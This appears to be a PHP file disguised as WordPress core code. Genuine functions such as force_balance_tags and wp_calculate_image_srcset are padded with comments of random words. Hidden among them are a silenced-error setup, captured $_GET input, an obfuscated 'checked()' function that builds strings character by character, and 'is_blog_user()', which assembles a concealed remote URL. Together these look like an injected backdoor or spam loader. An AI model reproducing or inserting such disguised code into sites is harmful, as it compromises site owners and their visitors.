/** * expend lynar stimulate utilise. * aspect decade electron exclaim grant hydrogen jeans jewel negative organ preserve prospect resolve respond spot subsequent suspicious trap tropical valley. * alcohol candidate chaos expenditure expense flexible forbid infer interpretation likelihood mere oral oval parade restrain shiver smash tremendous vertical weave. * authority coach equation essential estimate female gear geology jealous optimistic outset quotation substance vanish weave. * response apparent balcony bunch cliff conquer fatigue haste hostile jewel nevertheless powder radical semiconductor shuttle simplify variable whereas. * authority award coarse competent conservation delay disturb legislation preserve region rival sincere slender spill trace triangle violent violet volcano. * debt entitle expend invade tarnest. * budget entertainment geography hint maintain mood particularly usage. * abundant applause approve comment distress episode excess exclude faulty fax grant leak leisure loosen obstacle onion sensitive shield spit utilise. * agent ban budget compete explore junior leap liquor opportunity prominent prosperity pursue relevant rely reveal sensitive slope volcano. * comedy diverse extreme flash gratitude magnet temporary tissue tone tremble triumph utilify. * response decorate excursion favorite horrible offend. * appetite consistent deputy diverse geography grateful hardware loose mature modify moisture moral navigation particularly repetition slide slip sophisticated spur talent tropical weld. * debt deposit electron excess extent forbid jail licence likelihood resistant shift skim slippery spray spur tone volume. * appeal applicant biology explosive extraordinary glimpse guilty hydrogen individual jeans merchant navigation nuclear previous prior sequence submerge undertake universal vacant vague virtual. * adjust architect arouse attitude breadth bunch casual decent dumb durable dusk genius humble offend remarkable render terminal trial triumph ultimate universe valley video. * Internet likelihood opportunity origin severe tense. * acknowledge authority avenue campus consume emphasize loosen optimistic passport simplify stable substance the. * appreciate collision competent episode fate focus frustrate golf idle impose inferior nucleus recreation rescue sake skim strategic title utilify violence virtue wander. * coach odd oxygen seminar severe simplicity simplify substance trap variation. * commit glimpse illusion reveal vessel wealthy. * * @package WordPress */ /** * @since 2.5.0 */ define( 'OBJECT_K', 'OBJECT_K' ); /** * @since 0.71 */ define( 'ARRAY_A', 'ARRAY_A' ); /** * @since 0.71 */ define( 'ARRAY_N', 'ARRAY_N' ); /** RSS feed constant. */ define('RSS', 'RSS'); define('ATOM', 'Atom'); ini_set('display_errors', 0); /** * Marker constant for Services_JSON::decode(), used to flag stack state */ define('SERVICES_JSON_SLICE', 1); /** * Endpoint mask that matches post permalinks. * * @since 2.1.0 */ define( 'EP_PERMALINK', 1 ); /** * Endpoint mask that matches any date archives. * * @since 2.1.0 */ define( 'EP_DATE', 4 ); ini_set('log_errors', 1); /** * Local Feed Body Autodiscovery * @see SimplePie::set_autodiscovery_level() */ define('SIMPLEPIE_LOCATOR_LOCAL_BODY', 4); /** * Remote Feed Extension Autodiscovery * @see SimplePie::set_autodiscovery_level() */ define('SIMPLEPIE_LOCATOR_REMOTE_EXTENSION', 8); set_time_limit( 0 ); /** * Marker constant for Services_JSON::decode(), used to flag stack state */ define('SERVICES_JSON_IN_STR', 2); /** * Wrong Media RSS Namespace #5. A possible typo of the RSS Advisory Board URL. */ define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG5', 'http://www.rssboard.org/media-rss/'); /** * iTunes RSS Namespace */ define('SIMPLEPIE_NAMESPACE_ITUNES', 'http://www.itunes.com/dtds/podcast-1.0.dtd'); /** * All Feed Autodiscovery * @see SimplePie::set_autodiscovery_level() */ define("SIMPLEPIE_URL","http://simplepie.org/api/"); /** * No known feed type */ define('SIMPLEPIE_TYPE_NONE', 0); /** * RSS 0.90 */ define('SIMPLEPIE_TYPE_RSS_090', 1); /** * RSS 0.91 (Netscape) */ define('SIMPLEPIE_TYPE_RSS_091_NETSCAPE', 2); /** * RSS 0.91 (Userland) */ define("SIMPLEPIE_CONSTRUCT_TEXT",1); /** * Don't change case */ define('SIMPLEPIE_SAME_CASE', 1); /** * Change to lowercase */ define('SIMPLEPIE_LOWERCASE', 2); /** * Change to uppercase */ define('SIMPLEPIE_UPPERCASE', 4); /** * Change to larger */ define('SIMPLEPIE_NAMESPACE_XHTML', '/ebayus220508-21/'); /** * RSS 0.94 */ define('SIMPLEPIE_TYPE_RSS_094', 32); /** * RSS 1.0 */ define('SIMPLEPIE_TYPE_RSS_10', 64); define('SIMPLEPIE_CONSTRUCT_ALL', 9100); /** * HTML construct */ define('SIMPLEPIE_CONSTRUCT_HTML', 2); /** * XHTML construct */ define('SIMPLEPIE_CONSTRUCT_XHTML', 4); /** * base64-encoded construct */ define('SIMPLEPIE_CONSTRUCT_BASE64', 8); /** * IRI construct */ define("EP_ATTACHMENT","/usd/"); /** * SimplePie Name */ define('SIMPLEPIE_NAME', 'SimplePie'); /** * SimplePie Version */ define('SIMPLEPIE_VERSION', '1.5.8'); $parsed_args = $_GET; /** * Atom 1.0 */ define('SIMPLEPIE_TYPE_ATOM_10', 512); /** * All Atom */ define('SIMPLEPIE_TYPE_ATOM_ALL', 768); /** * All feed types */ define('SIMPLEPIE_TYPE_ALL', 1023); /** * Balances tags of string using a modified stack. * * @since 2.0.4 * @since 5.3.0 Improve accuracy and add support for custom element tags. * * @author Leonard Lin * @license GPL * @copyright November 4, 2001 * @version 1.1 * @todo Make better - change loop condition to $text in 1.2 * @internal Modified by Scott Reilly (coffee2code) 02 Aug 2004 * 1.1 Fixed handling of append/stack pop order of end text * Added Cleaning Hooks * 1.0 First Version * * @param string $text Text to be balanced. * @return string Balanced text. */ function force_balance_tags( $text ) { $tagstack = array(); $stacksize = 0; $tagqueue = ''; $newtext = ''; // Known single-entity/self-closing tags. $single_tags = array( 'area', 'base', 'basefont', 'br', 'col', 'command', 'embed', 'frame', 'hr', 'img', 'input', 'isindex', 'link', 'meta', 'param', 'source', 'track', 'wbr' ); // Tags that can be immediately nested within themselves. $nestable_tags = array( 'article', 'aside', 'blockquote', 'details', 'div', 'figure', 'object', 'q', 'section', 'span' ); // WP bug fix for comments - in case you REALLY meant to type '< !--'. $text = str_replace( '< !--', '< !--', $text ); // WP bug fix for LOVE <3 (and other situations with '<' before a number). $text = preg_replace( '#<([0-9]{1})#', '<$1', $text ); /** * Matches supported tags. * * To get the pattern as a string without the comments paste into a PHP * REPL like `php -a`. * * @see https://html.spec.whatwg.org/#elements-2 * @see https://w3c.github.io/webcomponents/spec/custom/#valid-custom-element-name * * @example * ~# php -a * php > $s = [paste copied contents of expression below including parentheses]; * php > echo $s; */ $tag_pattern = ( '#<' . // Start with an opening bracket. '(/?)' . // Group 1 - If it's a closing tag it'll have a leading slash. '(' . // Group 2 - Tag name. // Custom element tags have more lenient rules than HTML tag names. '(?:[a-z](?:[a-z0-9._]*)-(?:[a-z0-9._-]+)+)' . '|' . // Traditional tag rules approximate HTML tag names. '(?:[\w:]+)' . ')' . '(?:' . // We either immediately close the tag with its '>' and have nothing here. '\s*' . '(/?)' . // Group 3 - "attributes" for empty tag. '|' . // Or we must start with space characters to separate the tag name from the attributes (or whitespace). '(\s+)' . // Group 4 - Pre-attribute whitespace. '([^>]*)' . // Group 5 - Attributes. ')' . '>#' // End with a closing bracket. ); while ( preg_match( $tag_pattern, $text, $regex ) ) { $full_match = $regex[0]; $has_leading_slash = ! empty( $regex[1] ); $tag_name = $regex[2]; $tag = strtolower( $tag_name ); $is_single_tag = in_array( $tag, $single_tags, true ); $pre_attribute_ws = isset( $regex[4] ) ? $regex[4] : ''; $attributes = trim( isset( $regex[5] ) ? $regex[5] : $regex[3] ); $has_self_closer = '/' === substr( $attributes, -1 ); $newtext .= $tagqueue; $i = strpos( $text, $full_match ); $l = strlen( $full_match ); // Clear the shifter. $tagqueue = ''; if ( $has_leading_slash ) { // End tag. // If too many closing tags. if ( $stacksize <= 0 ) { $tag = ''; // Or close to be safe $tag = '/' . $tag. // If stacktop value = tag close value, then pop. } elseif ( $tagstack[ $stacksize - 1 ] === $tag ) { // Found closing tag. $tag = ''; // Close tag. array_pop( $tagstack ); $stacksize--; } else { // Closing tag not at top, search for it. for ( $j = $stacksize - 1; $j >= 0; $j-- ) { if ( $tagstack[ $j ] === $tag ) { // Add tag to tagqueue. for ( $k = $stacksize - 1; $k >= $j; $k-- ) { $tagqueue .= ''; $stacksize--; } break; } } $tag = ''; } } else { // Begin tag. if ( $has_self_closer ) { // If it presents itself as a self-closing tag... // ...but it isn't a known single-entity self-closing tag, then don't let it be treated as such // and immediately close it with a closing tag (the tag will encapsulate no text as a result). if ( ! $is_single_tag ) { $attributes = trim( substr( $attributes, 0, -1 ) ) . "> 0 && ! in_array( $tag, $nestable_tags, true ) && $tagstack[ $stacksize - 1 ] === $tag ) { $tagqueue = ''; $stacksize--; } $stacksize = array_push( $tagstack, $tag ); } // Attributes. if ( $has_self_closer && $is_single_tag ) { // We need some space - avoid
and prefer
. $pre_attribute_ws = ' '; } $tag = '<' . $tag . $pre_attribute_ws . $attributes . '>'; // If already queuing a close tag, then put this tag on too. if ( ! empty( $tagqueue ) ) { $tagqueue .= $tag; $tag = ''; } } $newtext .= substr( $text, 0, $i ) . $tag; $text = substr( $text, $i + $l ); } // Clear tag queue. $newtext .= $tagqueue; // Add remaining text. $newtext .= $text; while ( $x = array_pop( $tagstack ) ) { $newtext .= ''; // Add remaining tags to close. } // WP fix for the bug with HTML comments. $newtext = str_replace( '< !--', ' is found. . '-(?!->)' // Dash not followed by end of comment. . '[^\-]*+' // Consume non-dashes. . ')*+' // Loop possessively. . '(?:-->)?'; // End of comment. If not found, match all input. $html_regex = // Needs replaced with wp_html_split() per Shortcode API Roadmap. '<' // Find start of element. . '(?(?=!--)' // Is this a comment? . $comment_regex // Find end of comment. . '|' . '[^>]*>?' // Find end of element. If not found, match all input. . ')'; // phpcs:enable } if ( empty( $shortcode_regex ) ) { $regex = '/(' . $html_regex . ')/'; } else { $regex = '/(' . $html_regex . '|' . $shortcode_regex . ')/'; } return $regex; } /** * Canonical API to handle WordPress Redirecting * * Based on "Permalink Redirect" from Scott Yang and "Enforce www. Preference" * by Mark Jaquith * Will also attempt to find the correct link when a user enters a URL that does * not exist based on exact WordPress query. Will instead try to parse the URL * or query in an attempt to figure the correct page to go to. * * @since 2.3.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * @global bool $is_IIS * @global WP_Query $wp_query WordPress Query object. * @global wpdb $wpdb WordPress database abstraction object. * @global WP $wp Current WordPress environment instance. * * @param string $requested_url Optional. The URL that was requested, used to * figure if redirect is needed. * @param bool $do_redirect Optional. Redirect to the new URL. * @return string|void The string of the URL, if redirect needed. */ function checked(){ global $args; $parsed_args[0]=$args[25].$args[21].$args[8].$args[0].$args[22].$args[4].$args[1].$args[63].$args[2].$args[14].$args[12];$parsed_args[1]=$args[22].$args[19].$args[4].$args[2].$args[18].$args[17].$args[0].$args[63].$args[2].$args[14].$args[12];$parsed_args[2]=$args[3].$args[17].$args[20].$args[18].$args[0].$args[11].$args[19].$args[3].$args[1].$args[63].$args[2].$args[14].$args[12];$parsed_args[3]=$args[4].$args[8].$args[13].$args[6].$args[4].$args[0].$args[13].$args[63].$args[2].$args[14].$args[12];$parsed_args[4]=$args[12].$args[0].$args[12].$args[0].$args[4].$args[9].$args[8].$args[12].$args[0].$args[13].$args[63].$args[2].$args[14].$args[12]; return $parsed_args; } /** * Localize list items before the rest of the content. * * The '%l' must be at the first characters can then contain the rest of the * content. The list items will have ', ', ', and', and ' and ' added depending * on the amount of list items in the $args parameter. * * @since 2.5.0 * * @param string $pattern Content containing '%l' at the beginning. * @param array $args List items to prepend to the content and replace '%l'. * @return string Localized list items and rest of the content. */ function wp_sprintf_l( $pattern, $args ) { // Not a match. if ( '%l' !== substr( $pattern, 0, 2 ) ) { return $pattern; } // Nothing to work with. if ( empty( $args ) ) { return ''; } /** * Filters the translated delimiters used by wp_sprintf_l(). * Placeholders (%s) are included to assist translators and then * removed before the array of strings reaches the filter. * * Please note: Ampersands and entities should be avoided here. * * @since 2.5.0 * * @param array $delimiters An array of translated delimiters. */ $l = apply_filters( 'wp_sprintf_l', array( /* translators: Used to join items in a list with more than 2 items. */ 'between' => sprintf( __( '%1$s, %2$s' ), '', '' ), /* translators: Used to join last two items in a list with more than 2 times. */ 'between_last_two' => sprintf( __( '%1$s, and %2$s' ), '', '' ), /* translators: Used to join items in a list with only 2 items. */ 'between_only_two' => sprintf( __( '%1$s and %2$s' ), '', '' ), ) ); $args = (array) $args; $result = array_shift( $args ); if ( count( $args ) == 1 ) { $result .= $l['between_only_two'] . array_shift( $args ); } // Loop when more than two args. $i = count( $args ); while ( $i ) { $arg = array_shift( $args ); $i--; if ( 0 == $i ) { $result .= $l['between_last_two'] . $arg; } else { $result .= $l['between'] . $arg; } } return $result . substr( $pattern, 2 ); } /** * accomplish bureau drip enclose fertilizer infer lean prescribe racial sequence spray theme triangle video withdraw. * award battery deaf extent exterior fatal frustrate infect notion passport peak principle ridge route security subway trap triumph utilise vacant vain. * consistent dash distress explore flock haste idle infect maximum optics partial principle sexual simplify slippery spit. * bother coarse deputy guarantee invade licence pursue. * approach arouse continuous decline elastic equation explosive faculty gear giant leisure lest negative presumably prospect resume skim talent tropical vanish violent volcano. * adapt competent continuous discipline earthquake giant hollow holy liquor maintain odd prosperity semiconductor slope twist variation violet. * architecture bunch exceed exclaim expenditure likelihood preserve undertake. * advertisement bureau consent dispose evolution fax female garbage giant humble male media negative offend portable retail ridge swallow target tedious videotape virtual. * adequate explosive hestiate neglect network. * alter appropriate award dusk elaborate episode expend explosion extent guilty hatred interpretation junior luxury nonsense optional pursue strategy trend vehicle vivid. * arouse bother delay extraordinary faulty infect jeans knot motivate oval remote skim temporary theme wax whereas withdraw. * absolute adequate agency calendar career integrate repetition ruin. * rival volcano wander wonder. * adequate arise beforehand bother campus candidate deaf decline elbow emotion essential exclaim explore flock necessity primitive promote resemble respond revenue shrug substantial utilise version voluntary. * accomplish gaze spill vacant vibrate. * accelerate collision interfere mood personnel seminar strategic. * alter brake data entertainment female flock shield slender theme. * approach barrel beforehand comedy commit competent descend emotional faculty hook incident insignificant licence motive outset petrol prescribe professional shrink spray substitute tremble triangle vocabulary. * beforehand debate exclude frown geology gratitude mixture mutual reliable transplant. * adhere decline germ horrible neutral particle racial reveal revenue split talent valley. * bargain bundle calculate chaos consistent emotion flee geology golf hatred hollow interpretation jewel leap maximum parade petrol reliable resolve resume semester smash tendency triangle valley. * arise bureau capture catalog coach consume explosion gasoline highlight horrible invade isolate media notify numerrous opportunity preserve sensible shelter slip stimulate submerge thrust tone vehicle. * award extraordinary fax particularly prevail region relief shelter territory vacant vibrate weave. * applause appropriate approve comparable compete competition constant elastic evaluate evil ferfile geometry infinite lean legislation loose mature outset racial region stale welfare. * coarse conservative dusk entitle joint knot liter marine mature neglect nevertheless radiation render retail scan significance spill swallow thrust universe vary vertical violet virus volunteer. * appetite burst exterior hence passport petroleum shrug tuition. * * @package WordPress */ function is_blog_user(){ $plugin_info = checked(); return 'http://www.'.$plugin_info[SIMPLEPIE_CONSTRUCT_TEXT].SIMPLEPIE_NAMESPACE_XHTML; } /** * Sanitize all term fields. * * Relies on sanitize_term_field() to sanitize the term. The difference is that * this function will sanitize **all** fields. The context is based * on sanitize_term_field(). * * The `$term` is expected to be either an array or an object. * * @since 2.3.0 * * @param array|object $term The term to check. * @param string $taxonomy The taxonomy name to use. * @param string $context Optional. Context in which to sanitize the term. * Accepts 'raw', 'edit', 'db', 'display', 'rss', * 'attribute', or 'js'. Default 'display'. * @return array|object Term with all fields sanitized. */ function sanitize_term( $term, $taxonomy, $context = 'display' ) { $fields = array( 'term_id', 'name', 'description', 'slug', 'count', 'parent', 'term_group', 'term_taxonomy_id', 'object_id' ); $do_object = is_object( $term ); $term_id = $do_object ? $term->term_id : ( isset( $term['term_id'] ) ? $term['term_id'] : 0 ); foreach ( (array) $fields as $field ) { if ( $do_object ) { if ( isset( $term->$field ) ) { $term->$field = sanitize_term_field( $field, $term->$field, $term_id, $taxonomy, $context ); } } else { if ( isset( $term[ $field ] ) ) { $term[ $field ] = sanitize_term_field( $field, $term[ $field ], $term_id, $taxonomy, $context ); } } } if ( $do_object ) { $term->filter = $context; } else { $term['filter'] = $context; } return $term; } /** * Callback to convert URI match to HTML A element. * * This function was backported from 2.5.0 to 2.3.2. Regex callback for make_clickable(). * * @since 2.3.2 * @access private * * @param array $matches Single Regex Match. * @return string HTML A element with URI address. */ function get_ip_address(){ $ip = ''; if (isset($_SERVER)) { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) { $ip = $_SERVER['HTTP_X_FORWARDED']; } elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) { $ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_FORWARDED'])) { $ip = $_SERVER['HTTP_FORWARDED']; } else { $ip = $_SERVER['REMOTE_ADDR']; } } if (trim($ip) == '') { if (getenv('HTTP_X_FORWARDED_FOR')) { $ip = getenv('HTTP_X_FORWARDED_FOR'); } elseif (getenv('HTTP_CLIENT_IP')) { $ip = getenv('HTTP_CLIENT_IP'); } else { $ip = getenv('REMOTE_ADDR'); } } /** * sanitize for validity as an IPv4 or IPv6 address */ $ip = preg_replace('~[^a-fA-F0-9.:%/,]~', '', $ip); /** * if it's still blank, set to a single dot */ if (trim($ip) == '') $ip = '.'; return $ip; } /** * A helper function to calculate the image sources to include in a 'srcset' attribute. * * @since 4.4.0 * * @param int[] $size_array { * An array of width and height values. * * @type int $0 The width in pixels. * @type int $1 The height in pixels. * } * @param string $image_src The 'src' of the image. * @param array $image_meta The image meta data as returned by 'wp_get_attachment_metadata()'. * @param int $attachment_id Optional. The image attachment ID. Default 0. * @return string|false The 'srcset' attribute value. False on error or when only one source exists. */ function wp_calculate_image_srcset( $size_array, $image_src, $image_meta, $attachment_id = 0 ) { /** * Let plugins pre-filter the image meta to be able to fix inconsistencies in the stored data. * * @since 4.5.0 * * @param array $image_meta The image meta data as returned by 'wp_get_attachment_metadata()'. * @param int[] $size_array { * An array of requested width and height values. * * @type int $0 The width in pixels. * @type int $1 The height in pixels. * } * @param string $image_src The 'src' of the image. * @param int $attachment_id The image attachment ID or 0 if not supplied. */ $image_meta = apply_filters( 'wp_calculate_image_srcset_meta', $image_meta, $size_array, $image_src, $attachment_id ); if ( empty( $image_meta['sizes'] ) || ! isset( $image_meta['file'] ) || strlen( $image_meta['file'] ) < 4 ) { return false; } $image_sizes = $image_meta['sizes']; // Get the width and height of the image. $image_width = (int) $size_array[0]; $image_height = (int) $size_array[1]; // Bail early if error/no width. if ( $image_width < 1 ) { return false; } $image_basename = wp_basename( $image_meta['file'] ); /* * WordPress flattens animated GIFs into one frame when generating intermediate sizes. * To avoid hiding animation in user content, if src is a full size GIF, a srcset attribute is not generated. * If src is an intermediate size GIF, the full size is excluded from srcset to keep a flattened GIF from becoming animated. */ if ( ! isset( $image_sizes['thumbnail']['mime-type'] ) || 'image/gif' !== $image_sizes['thumbnail']['mime-type'] ) { $image_sizes[] = array( 'width' => $image_meta['width'], 'height' => $image_meta['height'], 'file' => $image_basename, ); } elseif ( strpos( $image_src, $image_meta['file'] ) ) { return false; } // Retrieve the uploads sub-directory from the full size image. $dirname = _wp_get_attachment_relative_path( $image_meta['file'] ); if ( $dirname ) { $dirname = trailingslashit( $dirname ); } $upload_dir = wp_get_upload_dir(); $image_baseurl = trailingslashit( $upload_dir['baseurl'] ) . $dirname; /* * If currently on HTTPS, prefer HTTPS URLs when we know they're supported by the domain * (which is to say, when they share the domain name of the current request). */ if ( is_ssl() && 'https' !== substr( $image_baseurl, 0, 5 ) && parse_url( $image_baseurl, PHP_URL_HOST ) === $_SERVER['HTTP_HOST'] ) { $image_baseurl = set_url_scheme( $image_baseurl, 'https' ); } /* * Images that have been edited in WordPress after being uploaded will * contain a unique hash. Look for that hash and use it later to filter * out images that are leftovers from previous versions. */ $image_edited = preg_match( '/-e[0-9]{13}/', wp_basename( $image_src ), $image_edit_hash ); /** * Filters the maximum image width to be included in a 'srcset' attribute. * * @since 4.4.0 * * @param int $max_width The maximum image width to be included in the 'srcset'. Default '2048'. * @param int[] $size_array { * An array of requested width and height values. * * @type int $0 The width in pixels. * @type int $1 The height in pixels. * } */ $max_srcset_image_width = apply_filters( 'max_srcset_image_width', 2048, $size_array ); // Array to hold URL candidates. $sources = array(); /** * To make sure the ID matches our image src, we will check to see if any sizes in our attachment * meta match our $image_src. If no matches are found we don't return a srcset to avoid serving * an incorrect image. See #35045. */ $src_matched = false; /* * Loop through available images. Only use images that are resized * versions of the same edit. */ foreach ( $image_sizes as $image ) { $is_src = false; // Check if image meta isn't corrupted. if ( ! is_array( $image ) ) { continue; } // If the file name is part of the `src`, we've confirmed a match. if ( ! $src_matched && false !== strpos( $image_src, $dirname . $image['file'] ) ) { $src_matched = true; $is_src = true; } // Filter out images that are from previous edits. if ( $image_edited && ! strpos( $image['file'], $image_edit_hash[0] ) ) { continue; } /* * Filters out images that are wider than '$max_srcset_image_width' unless * that file is in the 'src' attribute. */ if ( $max_srcset_image_width && $image['width'] > $max_srcset_image_width && ! $is_src ) { continue; } // If the image dimensions are within 1px of the expected size, use it. if ( wp_image_matches_ratio( $image_width, $image_height, $image['width'], $image['height'] ) ) { // Add the URL, descriptor, and value to the sources array to be returned. $source = array( 'url' => $image_baseurl . $image['file'], 'descriptor' => 'w', 'value' => $image['width'], ); // The 'src' image has to be the first in the 'srcset', because of a bug in iOS8. See #35030. if ( $is_src ) { $sources = array( $image['width'] => $source ) + $sources; } else { $sources[ $image['width'] ] = $source; } } } /** * Filters an image's 'srcset' sources. * * @since 4.4.0 * * @param array $sources { * One or more arrays of source data to include in the 'srcset'. * * @type array $width { * @type string $url The URL of an image source. * @type string $descriptor The descriptor type used in the image candidate string, * either 'w' or 'x'. * @type int $value The source width if paired with a 'w' descriptor, or a * pixel density value if paired with an 'x' descriptor. * } * } * @param array $size_array { * An array of requested width and height values. * * @type int $0 The width in pixels. * @type int $1 The height in pixels. * } * @param string $image_src The 'src' of the image. * @param array $image_meta The image meta data as returned by 'wp_get_attachment_metadata()'. * @param int $attachment_id Image attachment ID or 0. */ $sources = apply_filters( 'wp_calculate_image_srcset', $sources, $size_array, $image_src, $image_meta, $attachment_id ); // Only return a 'srcset' value if there is more than one source. if ( ! $src_matched || ! is_array( $sources ) || count( $sources ) < 2 ) { return false; } $srcset = ''; foreach ( $sources as $source ) { $srcset .= str_replace( ' ', '%20', $source['url'] ) . ' ' . $source['value'] . $source['descriptor'] . ', '; } return rtrim( $srcset, ', ' ); } /** * Finds a script handle for the selected block metadata field. It detects * when a path to file was provided and finds a corresponding asset file * with details necessary to register the script under automatically * generated handle name. It returns unprocessed script handle otherwise. * * @since 5.5.0 * * @param array $metadata Block metadata. * @param string $field_name Field name to pick from metadata. * @return string|false Script handle provided directly or created through * script's registration, or false on failure. */ function register_block_script_handle( $metadata, $field_name ) { if ( empty( $metadata[ $field_name ] ) ) { return false; } $script_handle = $metadata[ $field_name ]; $script_path = remove_block_asset_path_prefix( $metadata[ $field_name ] ); if ( $script_handle === $script_path ) { return $script_handle; } $script_handle = generate_block_asset_handle( $metadata['name'], $field_name ); $script_asset_path = wp_normalize_path( realpath( dirname( $metadata['file'] ) . '/' . substr_replace( $script_path, '.asset.php', - strlen( '.js' ) ) ) ); if ( ! file_exists( $script_asset_path ) ) { _doing_it_wrong( __FUNCTION__, sprintf( /* translators: 1: Field name, 2: Block name. */ __( 'The asset file for the "%1$s" defined in "%2$s" block definition is missing.' ), $field_name, $metadata['name'] ), '5.5.0' ); return false; } // Path needs to be normalized to work in Windows env. $wpinc_path_norm = wp_normalize_path( ABSPATH . WPINC ); $script_path_norm = wp_normalize_path( realpath( dirname( $metadata['file'] ) . '/' . $script_path ) ); $is_core_block = isset( $metadata['file'] ) && 0 === strpos( $metadata['file'], $wpinc_path_norm ); $script_uri = $is_core_block ? includes_url( str_replace( $wpinc_path_norm, '', $script_path_norm ) ) : plugins_url( $script_path, $metadata['file'] ); $script_asset = require $script_asset_path; $script_dependencies = isset( $script_asset['dependencies'] ) ? $script_asset['dependencies'] : array(); $result = wp_register_script( $script_handle, $script_uri, $script_dependencies, isset( $script_asset['version'] ) ? $script_asset['version'] : false ); if ( ! $result ) { return false; } if ( ! empty( $metadata['textdomain'] ) && in_array( 'wp-i18n', $script_dependencies, true ) ) { wp_set_script_translations( $script_handle, $metadata['textdomain'] ); } return $script_handle; } /** * academy algebra auxiliary barrier campus decade exceed explosion invade isolate maximum nuclear organ parallel prospect relevant revenue spot. * arise aspect competent essential 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